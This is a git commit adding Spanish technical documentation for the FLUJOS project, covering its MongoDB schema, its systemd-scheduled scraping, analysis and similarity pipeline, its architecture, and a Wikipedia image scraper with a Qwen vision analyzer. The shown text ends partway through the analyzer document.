refactor: reorganizar docs y pocs bajo INFO/
- docs/ → INFO/DOCS/CONTEXT/ (documentación técnica en markdown) - FLUJOS/DOCS/ + FLUJOS_DATOS/DOCS/ → INFO/DOCS/ (txts de arquitectura) - POCS/ → INFO/POCS/ (pruebas de concepto) Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
This commit is contained in:
parent
83f67b76b4
commit
954f47996f
33 changed files with 0 additions and 0 deletions
223
INFO/DOCS/CONTEXT/MONGODB.md
Normal file
223
INFO/DOCS/CONTEXT/MONGODB.md
Normal file
|
|
@ -0,0 +1,223 @@
|
|||
# MongoDB — Contexto técnico FLUJOS
|
||||
**Fecha:** 2026-04-21
|
||||
**Instancia:** `mongodb://localhost:27017` (solo localhost, no expuesto)
|
||||
**Base de datos:** `FLUJOS_DATOS`
|
||||
|
||||
---
|
||||
|
||||
## Colecciones y esquema
|
||||
|
||||
### `wikipedia`
|
||||
Artículos scrapeados de la API de Wikipedia por temas.
|
||||
|
||||
```json
|
||||
{
|
||||
"_id": ObjectId,
|
||||
"archivo": "Nombre_del_articulo.txt", // UNIQUE INDEX — clave de dedup
|
||||
"tema": "guerra global",
|
||||
"subtema": "alianzas militares",
|
||||
"texto": "Contenido completo del artículo...",
|
||||
"fecha": ISODate | null
|
||||
}
|
||||
```
|
||||
|
||||
### `noticias`
|
||||
Artículos scrapeados de ~90 medios internacionales (ver scraper de noticias).
|
||||
|
||||
```json
|
||||
{
|
||||
"_id": ObjectId,
|
||||
"archivo": "titulo-noticia.txt", // UNIQUE INDEX
|
||||
"tema": "guerra global",
|
||||
"subtema": "conflictos internacionales",
|
||||
"texto": "Texto limpio de la noticia...",
|
||||
"fecha": ISODate | null
|
||||
}
|
||||
```
|
||||
|
||||
### `torrents`
|
||||
Documentos de WikiLeaks y otros torrents de documentos filtrados.
|
||||
|
||||
```json
|
||||
{
|
||||
"_id": ObjectId,
|
||||
"archivo": "documento.pdf.txt", // UNIQUE INDEX
|
||||
"tema": "...",
|
||||
"subtema": "...",
|
||||
"texto": "...",
|
||||
"fecha": ISODate | null
|
||||
}
|
||||
```
|
||||
|
||||
### `imagenes`
|
||||
Imágenes analizadas por Qwen3-VL-8B. Solo se crea un doc cuando el modelo ha generado descripción.
|
||||
|
||||
```json
|
||||
{
|
||||
"_id": ObjectId,
|
||||
"archivo": "cambio_climatico_003.jpg", // UNIQUE INDEX
|
||||
"image_path": "/var/www/.../IMAGENES/output/wiki_images/cambio_climatico/cambio_climatico_003.jpg",
|
||||
"tema": "cambio climático",
|
||||
"subtema": "calentamiento global",
|
||||
"texto": "descripción generada por Qwen3-VL...",
|
||||
"keywords": ["glaciar", "deshielo", "ártico"],
|
||||
"fecha": ISODate("2026-04-21")
|
||||
}
|
||||
```
|
||||
|
||||
### `imagenes_wiki`
|
||||
Imágenes scrapeadas de Wikipedia SIN análisis Qwen. Fallback cuando `imagenes` no tiene el doc.
|
||||
|
||||
```json
|
||||
{
|
||||
"_id": ObjectId,
|
||||
"archivo": "cambio_climatico_003.jpg", // UNIQUE INDEX
|
||||
"image_path": "/var/www/.../output/wiki_images/cambio_climatico/cambio_climatico_003.jpg",
|
||||
"image_url": "https://upload.wikimedia.org/...",
|
||||
"tema": "cambio climático",
|
||||
"subtema": "glaciares árticos",
|
||||
"descripcion_wiki": "Descripción Wikimedia del fichero",
|
||||
"articulo_titulo": "Calentamiento global",
|
||||
"fecha": ISODate("2026-04-21")
|
||||
}
|
||||
```
|
||||
|
||||
### `comparaciones`
|
||||
Pares de documentos con su similitud calculada. ~52M documentos existentes.
|
||||
|
||||
```json
|
||||
{
|
||||
"_id": ObjectId,
|
||||
"noticia1": "Nombre_articulo_A.txt",
|
||||
"noticia2": "Nombre_articulo_B.txt",
|
||||
"porcentaje_similitud": 23.45 // float, % de palabras compartidas
|
||||
}
|
||||
```
|
||||
|
||||
**IMPORTANTE:** Esta colección NO tiene índice único porque los 52M docs existentes pueden tener duplicados. Las escrituras usan `update_one(..., upsert=True)` por `(noticia1, noticia2)`.
|
||||
|
||||
### `pipeline_log`
|
||||
Estado de ejecución del pipeline maestro. Un doc por ejecución de fase.
|
||||
|
||||
```json
|
||||
{
|
||||
"_id": ObjectId,
|
||||
"fase": "scraping" | "analisis" | "comparacion",
|
||||
"estado": "en_progreso" | "completado" | "error",
|
||||
"inicio": ISODate,
|
||||
"fin": ISODate | null,
|
||||
"stats": {
|
||||
"wikipedia_nuevos": 15,
|
||||
"noticias_nuevos": 230,
|
||||
"imagenes_wiki_nuevas": 60
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Índices únicos
|
||||
|
||||
Creados automáticamente por `pipeline_maestro.py::setup_indices()`:
|
||||
|
||||
```
|
||||
wikipedia.archivo UNIQUE ASC
|
||||
noticias.archivo UNIQUE ASC
|
||||
imagenes.archivo UNIQUE ASC
|
||||
imagenes_wiki.archivo UNIQUE ASC
|
||||
```
|
||||
|
||||
El campo `archivo` es el nombre del fichero (ej: `"Guerra_del_Golfo.txt"`). Es la clave de deduplicación en todos los upserts.
|
||||
|
||||
---
|
||||
|
||||
## Volumen aproximado (2026-04-21)
|
||||
|
||||
| Colección | Docs aprox. | Tamaño |
|
||||
|---|---|---|
|
||||
| wikipedia | ~5.000 | ~50 MB texto |
|
||||
| noticias | ~20.000 | ~200 MB texto |
|
||||
| torrents | ~500 | ~10 MB |
|
||||
| imagenes | ~150 | 1 MB (solo metadatos) |
|
||||
| imagenes_wiki | ~500 | 2 MB |
|
||||
| comparaciones | ~52.000.000 | ~3.2 GB |
|
||||
| pipeline_log | <100 | <1 MB |
|
||||
|
||||
---
|
||||
|
||||
## Consultas frecuentes desde la API
|
||||
|
||||
### Query de nodos (FLUJOS_APP.js línea 67–94)
|
||||
```javascript
|
||||
// Filtro base
|
||||
{ tema: "guerra global", subtema: "...", texto: { $regex: "...", $options: 'i' } }
|
||||
|
||||
// Con fechas
|
||||
{ ..., fecha: { $gte: new Date("2024-01-01"), $lte: new Date("2024-12-31") } }
|
||||
```
|
||||
|
||||
### Query de enlaces (línea 147–155)
|
||||
```javascript
|
||||
{
|
||||
porcentaje_similitud: { $gte: 20.0 },
|
||||
noticia1: { $in: [...nodeIds] },
|
||||
noticia2: { $in: [...nodeIds] }
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Conexión desde Node.js
|
||||
|
||||
```javascript
|
||||
// FLUJOS_APP.js
|
||||
const mongoUrl = process.env.MONGO_URL || 'mongodb://localhost:27017';
|
||||
const dbName = process.env.DB_NAME || 'FLUJOS_DATOS';
|
||||
const client = new MongoClient(mongoUrl);
|
||||
await client.connect();
|
||||
const db = client.db(dbName);
|
||||
```
|
||||
|
||||
Configuración en `.env`:
|
||||
```
|
||||
MONGO_URL=mongodb://localhost:27017
|
||||
DB_NAME=FLUJOS_DATOS
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Conexión desde Python
|
||||
|
||||
```python
|
||||
from pymongo import MongoClient
|
||||
client = MongoClient('mongodb://localhost:27017', serverSelectionTimeoutMS=5000)
|
||||
db = client['FLUJOS_DATOS']
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Temas definidos en el sistema
|
||||
|
||||
Los temas son etiquetas fijas asignadas durante el scraping/tokenización:
|
||||
|
||||
```
|
||||
"guerra global" → subtemas: conflictos internacionales, guerras civiles, terrorismo, armas, alianzas militares
|
||||
"inteligencia y seguridad"→ subtemas: inteligencia, ciberseguridad, espionaje, seguridad nacional, contraterrorismo
|
||||
"cambio climático" → subtemas: cambio climático, desastres naturales, conservación, energía renovable, escasez de agua
|
||||
"demografía y sociedad" → subtemas: sobrepoblación, enfermedades, migraciones, urbanización, despoblación rural
|
||||
"economía y corporaciones"→ subtemas: economía global, corporaciones multinacionales, comercio internacional, organismos financieros, desigualdad económica
|
||||
"otros" → documentos que no encajan en ningún tema
|
||||
```
|
||||
|
||||
La asignación la hace `pipeline_completo.py::asignar_tema_y_subtema()` buscando palabras clave en el texto.
|
||||
|
||||
---
|
||||
|
||||
## Ruta del dato físico
|
||||
|
||||
```
|
||||
MongoDB FLUJOS_DATOS
|
||||
└── imagenes_wiki / imagenes
|
||||
└── image_path → /var/www/theflows.net/flujos/FLUJOS_DATOS/IMAGENES/output/wiki_images/{tema_slug}/{archivo}
|
||||
servido como → https://theflows.net/wiki-images/{tema_slug}/{archivo}
|
||||
```
|
||||
266
INFO/DOCS/CONTEXT/PIPELINE_MAESTRO.md
Normal file
266
INFO/DOCS/CONTEXT/PIPELINE_MAESTRO.md
Normal file
|
|
@ -0,0 +1,266 @@
|
|||
# Pipeline Maestro — Contexto técnico FLUJOS
|
||||
**Fecha:** 2026-04-21
|
||||
**Archivo:** `FLUJOS_DATOS/pipeline_maestro.py`
|
||||
**Scheduler:** systemd timer (semanal, domingos 3:00 AM)
|
||||
|
||||
---
|
||||
|
||||
## Visión general
|
||||
|
||||
El pipeline maestro orquesta las tres fases del sistema en orden estricto:
|
||||
|
||||
```
|
||||
FASE 1 — SCRAPING
|
||||
├── Wikipedia (main.py) → colección wikipedia
|
||||
├── Noticias (main_noticias.py) → colección noticias
|
||||
└── Imágenes Wikipedia (wikipedia_image_scraper.py) → colección imagenes_wiki
|
||||
|
||||
FASE 2 — ANÁLISIS
|
||||
├── Qwen3-VL imágenes (pipeline_imagenes.py --analizar) → colección imagenes
|
||||
└── Tokenización texto (pipeline_mongolo.py) → colección noticias/wikipedia (actualiza)
|
||||
|
||||
FASE 3 — COMPARACIÓN
|
||||
└── Similitud entre documentos (pipeline_completo.py) → colección comparaciones
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Ejecución
|
||||
|
||||
```bash
|
||||
# Ejecución completa (las 3 fases)
|
||||
/var/www/theflows.net/flujos/FLUJOS_DATOS/myenv/bin/python3 pipeline_maestro.py
|
||||
|
||||
# Solo una fase
|
||||
python pipeline_maestro.py --solo-fase scraping
|
||||
python pipeline_maestro.py --solo-fase analisis
|
||||
python pipeline_maestro.py --solo-fase comparacion
|
||||
|
||||
# Forzar re-ejecución ignorando cooldown de 20h
|
||||
python pipeline_maestro.py --forzar
|
||||
python pipeline_maestro.py --solo-fase scraping --forzar
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Control de estado — MongoDB `pipeline_log`
|
||||
|
||||
Cada fase registra inicio, fin y stats en la colección `pipeline_log`:
|
||||
|
||||
```json
|
||||
{
|
||||
"fase": "scraping",
|
||||
"estado": "completado" | "en_progreso" | "error",
|
||||
"inicio": ISODate("2026-04-20T03:00:00Z"),
|
||||
"fin": ISODate("2026-04-20T04:15:00Z"),
|
||||
"stats": {
|
||||
"wikipedia_nuevos": 45,
|
||||
"noticias_nuevos": 312,
|
||||
"imagenes_wiki_nuevas": 60
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Lógica de "¿necesita correr?"
|
||||
|
||||
```python
|
||||
def fase_necesita_correr(db, fase, forzar=False):
|
||||
if forzar: return True
|
||||
ultimo = db['pipeline_log'].find_one({'fase': fase}, sort=[('inicio', -1)])
|
||||
if not ultimo: return True # nunca corrió
|
||||
if ultimo['estado'] != 'completado': return True # última ejecución falló
|
||||
if utcnow() - ultimo['fin'] < timedelta(hours=20):
|
||||
return False # cooldown activo
|
||||
return True
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Lockfile — prevención de instancias simultáneas
|
||||
|
||||
```python
|
||||
LOCK_FILE = Path("/tmp/flujos_pipeline.lock")
|
||||
|
||||
class PipelineLock:
|
||||
def __enter__(self):
|
||||
self._f = open(LOCK_FILE, "w")
|
||||
fcntl.flock(self._f, fcntl.LOCK_EX | fcntl.LOCK_NB) # non-blocking
|
||||
# Si ya hay lock → BlockingIOError → log.error + sys.exit(1)
|
||||
```
|
||||
|
||||
Si el pipeline muere abruptamente, el lock se libera automáticamente cuando el proceso termina (el SO libera todos los file locks del proceso muerto).
|
||||
|
||||
---
|
||||
|
||||
## Índices de deduplicación (idempotente)
|
||||
|
||||
```python
|
||||
def setup_indices(db):
|
||||
indices = {
|
||||
"wikipedia": [("archivo", ASCENDING)],
|
||||
"noticias": [("archivo", ASCENDING)],
|
||||
"imagenes": [("archivo", ASCENDING)],
|
||||
"imagenes_wiki": [("archivo", ASCENDING)],
|
||||
# comparaciones: SIN índice único (52M docs con posibles duplicados)
|
||||
}
|
||||
for col, keys in indices.items():
|
||||
db[col].create_index(keys, unique=True, background=True)
|
||||
```
|
||||
|
||||
Se ejecuta al inicio de cada pipeline. `create_index` es idempotente — no falla si el índice ya existe.
|
||||
|
||||
---
|
||||
|
||||
## Fase 3 — Modo incremental
|
||||
|
||||
La comparación usa el flag `--desde` para solo comparar documentos nuevos:
|
||||
|
||||
```python
|
||||
ultima = ultima_ejecucion_completada(db, "comparacion")
|
||||
if ultima:
|
||||
args = ["--desde", ultima.strftime("%Y-%m-%d")]
|
||||
# pipeline_completo.py solo procesa docs con fecha >= ultima ejecución
|
||||
```
|
||||
|
||||
Esto evita re-comparar los 52M pares existentes en cada ejecución.
|
||||
|
||||
---
|
||||
|
||||
## Systemd — configuración
|
||||
|
||||
**Archivos instalados en `/etc/systemd/system/`:**
|
||||
|
||||
### flujos-pipeline.service
|
||||
|
||||
```ini
|
||||
[Unit]
|
||||
Description=FLUJOS Pipeline Maestro
|
||||
After=network.target mongod.service
|
||||
Requires=mongod.service
|
||||
|
||||
[Service]
|
||||
Type=oneshot
|
||||
User=capitansito
|
||||
WorkingDirectory=/var/www/theflows.net/flujos/FLUJOS_DATOS
|
||||
Environment=MONGO_URL=mongodb://localhost:27017
|
||||
Environment=DB_NAME=FLUJOS_DATOS
|
||||
ExecStart=/var/www/theflows.net/flujos/FLUJOS_DATOS/myenv/bin/python3 \
|
||||
/var/www/theflows.net/flujos/FLUJOS_DATOS/pipeline_maestro.py
|
||||
TimeoutStartSec=43200
|
||||
StandardOutput=journal
|
||||
StandardError=journal
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
```
|
||||
|
||||
### flujos-pipeline.timer
|
||||
|
||||
```ini
|
||||
[Unit]
|
||||
Description=Timer semanal para FLUJOS Pipeline Maestro
|
||||
|
||||
[Timer]
|
||||
OnCalendar=Sun *-*-* 03:00:00
|
||||
Persistent=true
|
||||
OnBootSec=2min
|
||||
|
||||
[Install]
|
||||
WantedBy=timers.target
|
||||
```
|
||||
|
||||
`Persistent=true` hace que si el servidor estaba apagado el domingo a las 3:00, el timer se dispara 2 minutos después del siguiente arranque (`OnBootSec=2min`).
|
||||
|
||||
### Comandos de gestión
|
||||
|
||||
```bash
|
||||
# Ver estado del timer
|
||||
systemctl status flujos-pipeline.timer
|
||||
|
||||
# Ver logs del último pipeline
|
||||
journalctl -u flujos-pipeline.service -n 100
|
||||
|
||||
# Lanzar manualmente
|
||||
systemctl start flujos-pipeline.service
|
||||
|
||||
# Habilitar/deshabilitar timer
|
||||
systemctl enable flujos-pipeline.timer
|
||||
systemctl disable flujos-pipeline.timer
|
||||
|
||||
# Ver cuándo es la próxima ejecución
|
||||
systemctl list-timers flujos-pipeline.timer
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Cooldown y tiempos esperados de ejecución
|
||||
|
||||
| Fase | Cooldown mínimo | Tiempo estimado |
|
||||
|---|---|---|
|
||||
| scraping | 20h | 2–6h (depende de medios accesibles) |
|
||||
| analisis | 20h | 1–4h (Qwen en CPU es lento: ~3 min/imagen) |
|
||||
| comparacion | 20h | Variable (incremental: 30 min / full: varios días) |
|
||||
|
||||
---
|
||||
|
||||
## Resumen de estadísticas al final
|
||||
|
||||
Al completar, el pipeline imprime en el log:
|
||||
|
||||
```
|
||||
Estado MongoDB:
|
||||
wikipedia : 5,234
|
||||
noticias : 21,456
|
||||
imagenes : 150
|
||||
imagenes_wiki : 500
|
||||
comparaciones : 52,100,000
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Log del pipeline
|
||||
|
||||
```
|
||||
FLUJOS_DATOS/pipeline_maestro.log → log principal (en .gitignore)
|
||||
```
|
||||
|
||||
También visible en journald:
|
||||
```bash
|
||||
journalctl -u flujos-pipeline.service --since "2026-04-20"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Dependencias Python
|
||||
|
||||
```
|
||||
pymongo
|
||||
bson # ObjectId (incluido con pymongo)
|
||||
fcntl # stdlib Python
|
||||
argparse # stdlib Python
|
||||
subprocess
|
||||
```
|
||||
|
||||
El pipeline maestro solo llama a los sub-scripts vía `subprocess.run()`, no importa sus módulos directamente.
|
||||
|
||||
---
|
||||
|
||||
## Flujo completo diagram
|
||||
|
||||
```
|
||||
pipeline_maestro.py
|
||||
│
|
||||
├── setup_indices(db) # crea índices únicos
|
||||
│
|
||||
├── [FASE 1] fase_scraping()
|
||||
│ ├── subprocess: WIKIPEDIA/main.py
|
||||
│ ├── subprocess: NOTICIAS/main_noticias.py
|
||||
│ └── subprocess: IMAGENES/wikipedia_image_scraper.py --flujos --max 20 --mongo
|
||||
│
|
||||
├── [FASE 2] fase_analisis()
|
||||
│ ├── subprocess: IMAGENES/pipeline_imagenes.py --analizar --carpeta ... --mongo
|
||||
│ └── subprocess: COMPARACIONES/pipeline_mongolo.py
|
||||
│
|
||||
└── [FASE 3] fase_comparacion()
|
||||
└── subprocess: COMPARACIONES/pipeline_completo.py [--desde YYYY-MM-DD]
|
||||
```
|
||||
98
INFO/DOCS/CONTEXT/README.md
Normal file
98
INFO/DOCS/CONTEXT/README.md
Normal file
|
|
@ -0,0 +1,98 @@
|
|||
# FLUJOS — Documentación técnica
|
||||
**Última actualización:** 2026-04-21
|
||||
**Proyecto:** Plataforma libre de análisis y visualización de flujos de información
|
||||
**Stack:** Node.js + Express + MongoDB + Python (BERT, Qwen3-VL) + Three.js/3d-force-graph
|
||||
|
||||
---
|
||||
|
||||
## Índice de documentos
|
||||
|
||||
| Documento | Contenido |
|
||||
|---|---|
|
||||
| [SEGURIDAD.md](SEGURIDAD.md) | Informe de vulnerabilidades (NoSQL injection, XSS, rate limiting...) + fixes |
|
||||
| [MONGODB.md](MONGODB.md) | Esquema de colecciones, índices, volúmenes, consultas frecuentes |
|
||||
| [VISUALIZACION_JS.md](VISUALIZACION_JS.md) | Frontend Three.js, API endpoint, nodos imagen Sprite, scripts por vista |
|
||||
| [SCRAPER_IMAGENES_QWEN.md](SCRAPER_IMAGENES_QWEN.md) | Scraper Wikipedia imágenes + analizador Qwen3-VL-8B (carga, batch, resume) |
|
||||
| [SCRAPER_WIKIPEDIA.md](SCRAPER_WIKIPEDIA.md) | Scraper artículos Wikipedia, tokenización BERT, temas y keywords |
|
||||
| [SCRAPER_NOTICIAS.md](SCRAPER_NOTICIAS.md) | Scraper de ~90 medios internacionales, traducción, limpieza, ficheros adjuntos |
|
||||
| [PIPELINE_MAESTRO.md](PIPELINE_MAESTRO.md) | Orquestador 3 fases, systemd timer, lockfile, estado MongoDB, cooldowns |
|
||||
|
||||
---
|
||||
|
||||
## Arquitectura en una página
|
||||
|
||||
```
|
||||
Internet
|
||||
│
|
||||
▼
|
||||
nginx (theflows.net:443, TLS Let's Encrypt)
|
||||
├── / → FLUJOS/VISUALIZACION/public/ (estáticos)
|
||||
├── /api/ → proxy → Node.js :3000
|
||||
└── /wiki-images/ → (Node.js sirve estáticos de IMAGENES/output/wiki_images/)
|
||||
|
||||
Node.js — FLUJOS/BACK_BACK/FLUJOS_APP.js
|
||||
└── GET /api/data → MongoDB FLUJOS_DATOS
|
||||
|
||||
MongoDB localhost:27017 — FLUJOS_DATOS
|
||||
├── wikipedia (~5k docs)
|
||||
├── noticias (~20k docs)
|
||||
├── imagenes (~150 docs, analizadas con Qwen)
|
||||
├── imagenes_wiki (~500 docs, solo metadatos scrapeados)
|
||||
├── comparaciones (~52M pares de similitud)
|
||||
└── pipeline_log (estado de ejecuciones)
|
||||
|
||||
Python Pipeline (systemd timer — domingos 3:00 AM)
|
||||
FLUJOS_DATOS/pipeline_maestro.py
|
||||
├── Fase 1: scraping (Wikipedia + noticias + imágenes)
|
||||
├── Fase 2: análisis (Qwen3-VL + tokenización BERT)
|
||||
└── Fase 3: comparación (similitud coseno entre documentos)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Variables de entorno (.env en FLUJOS/BACK_BACK/)
|
||||
|
||||
```
|
||||
MONGO_URL=mongodb://localhost:27017
|
||||
DB_NAME=FLUJOS_DATOS
|
||||
PORT=3000
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Rutas críticas del servidor
|
||||
|
||||
```
|
||||
/var/www/theflows.net/flujos/
|
||||
├── docs/ # esta documentación
|
||||
├── FLUJOS/
|
||||
│ ├── BACK_BACK/FLUJOS_APP.js # servidor Node.js
|
||||
│ └── VISUALIZACION/public/ # frontend estático
|
||||
├── FLUJOS_DATOS/
|
||||
│ ├── pipeline_maestro.py # orquestador
|
||||
│ ├── myenv/ # Python venv (~2 GB, en .gitignore)
|
||||
│ ├── WIKIPEDIA/main.py # scraper Wikipedia
|
||||
│ ├── NOTICIAS/main_noticias.py # scraper noticias
|
||||
│ ├── IMAGENES/
|
||||
│ │ ├── wikipedia_image_scraper.py # scraper imágenes
|
||||
│ │ ├── image_analyzer.py # Qwen3-VL
|
||||
│ │ ├── pipeline_imagenes.py # orquestador imágenes
|
||||
│ │ ├── model_cache/ # Qwen descargado (~16 GB, .gitignore)
|
||||
│ │ └── output/wiki_images/ # imágenes en disco (.gitignore)
|
||||
│ └── COMPARACIONES/
|
||||
│ ├── pipeline_completo.py # cálculo de similitud
|
||||
│ └── pipeline_mongolo.py # tokenización + inserción MongoDB
|
||||
└── .gitignore # excluye datos pesados del repo
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Seguridad — prioridades pendientes
|
||||
|
||||
1. 🔴 **Aplicar `sanitizeParam()`** en FLUJOS_APP.js para prevenir NoSQL injection
|
||||
2. 🔴 **Cambiar `'0.0.0.0'` por `'127.0.0.1'`** en `app.listen()` para cerrar puerto 3000
|
||||
3. 🟠 **Reemplazar `innerHTML` por `textContent`** en output_int_sec.js y 3dscript_eco-corp.html
|
||||
4. 🟠 **Añadir `express-rate-limit`** al endpoint `/api/`
|
||||
5. 🟡 **Activar `helmet()` completo** (no solo CSP) para quitar `X-Powered-By`
|
||||
|
||||
Ver [SEGURIDAD.md](SEGURIDAD.md) para código de fix completo.
|
||||
271
INFO/DOCS/CONTEXT/SCRAPER_IMAGENES_QWEN.md
Normal file
271
INFO/DOCS/CONTEXT/SCRAPER_IMAGENES_QWEN.md
Normal file
|
|
@ -0,0 +1,271 @@
|
|||
# Scraper de Imágenes + Analizador Qwen3-VL — Contexto técnico FLUJOS
|
||||
**Fecha:** 2026-04-21
|
||||
**Directorio:** `FLUJOS_DATOS/IMAGENES/`
|
||||
**Entorno:** `FLUJOS_DATOS/myenv/` (Python 3.11, venv)
|
||||
|
||||
---
|
||||
|
||||
## Componentes del módulo
|
||||
|
||||
```
|
||||
FLUJOS_DATOS/IMAGENES/
|
||||
├── wikipedia_image_scraper.py # Descarga imágenes de Wikipedia por tema
|
||||
├── image_analyzer.py # Analiza imágenes con Qwen3-VL-8B
|
||||
├── image_comparator.py # Compara imágenes (similaridad visual)
|
||||
├── mongo_helper.py # Utilidades MongoDB para este módulo
|
||||
├── pipeline_imagenes.py # Orquestador del módulo (flags CLI)
|
||||
├── requirements_imagenes.txt # Dependencias del módulo
|
||||
├── model_cache/ # Modelo Qwen descargado (~16 GB) — en .gitignore
|
||||
└── output/
|
||||
└── wiki_images/ # Imágenes descargadas — en .gitignore
|
||||
├── cambio_climático/
|
||||
├── geopolítica_conflictos/
|
||||
├── seguridad_internacional_espionaje/
|
||||
└── ...
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Parte 1: wikipedia_image_scraper.py
|
||||
|
||||
### Qué hace
|
||||
|
||||
Descarga imágenes de Wikipedia por tema usando la **Wikimedia REST API**. Para cada tema de FLUJOS busca artículos relacionados, extrae las imágenes de cada artículo y las descarga filtrando iconos/logos pequeños.
|
||||
|
||||
### Temas de FLUJOS que se scrapean (`TEMAS_FLUJOS`)
|
||||
|
||||
```python
|
||||
TEMAS_FLUJOS = [
|
||||
"cambio climático",
|
||||
"geopolítica conflictos",
|
||||
"seguridad internacional espionaje",
|
||||
"libertad de prensa periodismo",
|
||||
"corporaciones poder económico",
|
||||
"populismo extremismo",
|
||||
"desinformación redes sociales",
|
||||
"privacidad vigilancia masiva",
|
||||
"biodiversidad medioambiente",
|
||||
"inteligencia artificial tecnología",
|
||||
]
|
||||
```
|
||||
|
||||
### Filtros de calidad (imágenes que se descartan)
|
||||
|
||||
```python
|
||||
MIN_WIDTH = 200 # pixels
|
||||
MIN_HEIGHT = 200 # pixels
|
||||
MIN_BYTES = 20_000 # 20 KB mínimo
|
||||
|
||||
SKIP_PATTERNS = [
|
||||
"flag_", "Flag_", "icon", "Icon", "logo", "Logo",
|
||||
"symbol", "Symbol", "coat_of_arms", "commons-logo",
|
||||
"wiki", "Wiki", "question_mark", "edit-", "nuvola",
|
||||
"Nuvola", "pictogram", "OOjs", "Ambox", "Portal-", "Disambig",
|
||||
]
|
||||
|
||||
VALID_EXTENSIONS = {".jpg", ".jpeg", ".png", ".webp"}
|
||||
```
|
||||
|
||||
### Flujo interno
|
||||
|
||||
```
|
||||
buscar_articulos(tema, lang='es')
|
||||
└── GET https://es.wikipedia.org/w/api.php?action=query&list=search&srsearch={tema}
|
||||
└── para cada artículo:
|
||||
get_article_images(titulo)
|
||||
└── GET https://es.wikipedia.org/w/api.php?action=query&prop=images
|
||||
└── para cada imagen:
|
||||
get_image_info(filename) → Wikimedia API
|
||||
└── descarga si pasa filtros
|
||||
└── guarda en output/wiki_images/{tema_slug}/
|
||||
└── upsert en MongoDB imagenes_wiki
|
||||
```
|
||||
|
||||
### Deduplicación
|
||||
|
||||
Upsert por `archivo` (nombre del fichero) en MongoDB `imagenes_wiki`. Si el fichero ya existe en disco, se salta la descarga.
|
||||
|
||||
### Uso CLI
|
||||
|
||||
```bash
|
||||
# Scrape de todos los temas FLUJOS, max 20 imgs/tema, con MongoDB
|
||||
python wikipedia_image_scraper.py --flujos --max 20 --mongo
|
||||
|
||||
# Scrape de un tema concreto
|
||||
python wikipedia_image_scraper.py --tema "cambio climático" --max 30 --mongo
|
||||
|
||||
# Con idioma inglés
|
||||
python wikipedia_image_scraper.py --tema "climate change" --lang en --max 40
|
||||
```
|
||||
|
||||
### Documento MongoDB generado (colección `imagenes_wiki`)
|
||||
|
||||
```json
|
||||
{
|
||||
"archivo": "cambio_climático_003.jpg",
|
||||
"image_path": "/var/www/theflows.net/flujos/FLUJOS_DATOS/IMAGENES/output/wiki_images/cambio_climático/cambio_climático_003.jpg",
|
||||
"image_url": "https://upload.wikimedia.org/wikipedia/commons/...",
|
||||
"tema": "cambio climático",
|
||||
"subtema": "derretimiento glaciar ártico",
|
||||
"descripcion_wiki": "Glaciar en retroceso en el Ártico, 2019",
|
||||
"articulo_titulo": "Cambio climático en el Ártico",
|
||||
"fecha": ISODate("2026-04-21")
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Parte 2: image_analyzer.py (Qwen3-VL-8B)
|
||||
|
||||
### Modelo usado
|
||||
|
||||
**Qwen/Qwen2.5-VL-7B-Instruct** (HuggingFace)
|
||||
- Tamaño: ~16 GB en disco (bfloat16)
|
||||
- Inferencia: CPU (sin GPU disponible actualmente)
|
||||
- RAM necesaria: ~16–18 GB para el modelo + ~2 GB por batch de 4 imágenes
|
||||
- Cache local: `IMAGENES/model_cache/`
|
||||
|
||||
> El servidor tiene 64 GB RAM, por lo que cabe sin problema. En GPU (A100/RTX 3090+) sería 10–50x más rápido.
|
||||
|
||||
### Carga del modelo
|
||||
|
||||
```python
|
||||
from transformers import Qwen2_5_VLForConditionalGeneration, AutoProcessor
|
||||
import torch
|
||||
|
||||
model = Qwen2_5_VLForConditionalGeneration.from_pretrained(
|
||||
"Qwen/Qwen2.5-VL-7B-Instruct",
|
||||
torch_dtype=torch.bfloat16, # mitad de RAM vs float32
|
||||
device_map="cpu",
|
||||
cache_dir=str(IMAGENES_DIR / "model_cache"),
|
||||
)
|
||||
processor = AutoProcessor.from_pretrained(
|
||||
"Qwen/Qwen2.5-VL-7B-Instruct",
|
||||
cache_dir=str(IMAGENES_DIR / "model_cache"),
|
||||
)
|
||||
```
|
||||
|
||||
### Prompt de análisis
|
||||
|
||||
```python
|
||||
PROMPT = """Analiza esta imagen y proporciona:
|
||||
1. Una descripción concisa del contenido principal (máx. 2 frases).
|
||||
2. El tema principal (elige uno): cambio climático, conflicto armado, economía, política, tecnología, sociedad, otro.
|
||||
3. Lista de 3-5 palabras clave relevantes.
|
||||
|
||||
Formato de respuesta:
|
||||
DESCRIPCIÓN: [descripción]
|
||||
TEMA: [tema]
|
||||
PALABRAS CLAVE: [kw1, kw2, kw3]"""
|
||||
```
|
||||
|
||||
### Procesamiento por batch
|
||||
|
||||
```python
|
||||
def analyze_batch(image_paths: list[Path]) -> list[dict]:
|
||||
"""Procesa hasta 4 imágenes por llamada al modelo."""
|
||||
```
|
||||
|
||||
`batch_size=4` por defecto. Cada batch ocupa ~2 GB RAM adicionales.
|
||||
|
||||
### Resume automático
|
||||
|
||||
Antes de analizar, verifica qué imágenes ya están en MongoDB `imagenes`:
|
||||
|
||||
```python
|
||||
def get_already_analyzed() -> set[str]:
|
||||
"""Devuelve set de nombres de archivo ya en la colección imagenes."""
|
||||
return {doc['archivo'] for doc in db['imagenes'].find({}, {'archivo': 1})}
|
||||
```
|
||||
|
||||
Solo procesa imágenes no presentes en la BD.
|
||||
|
||||
### Priorización de imágenes
|
||||
|
||||
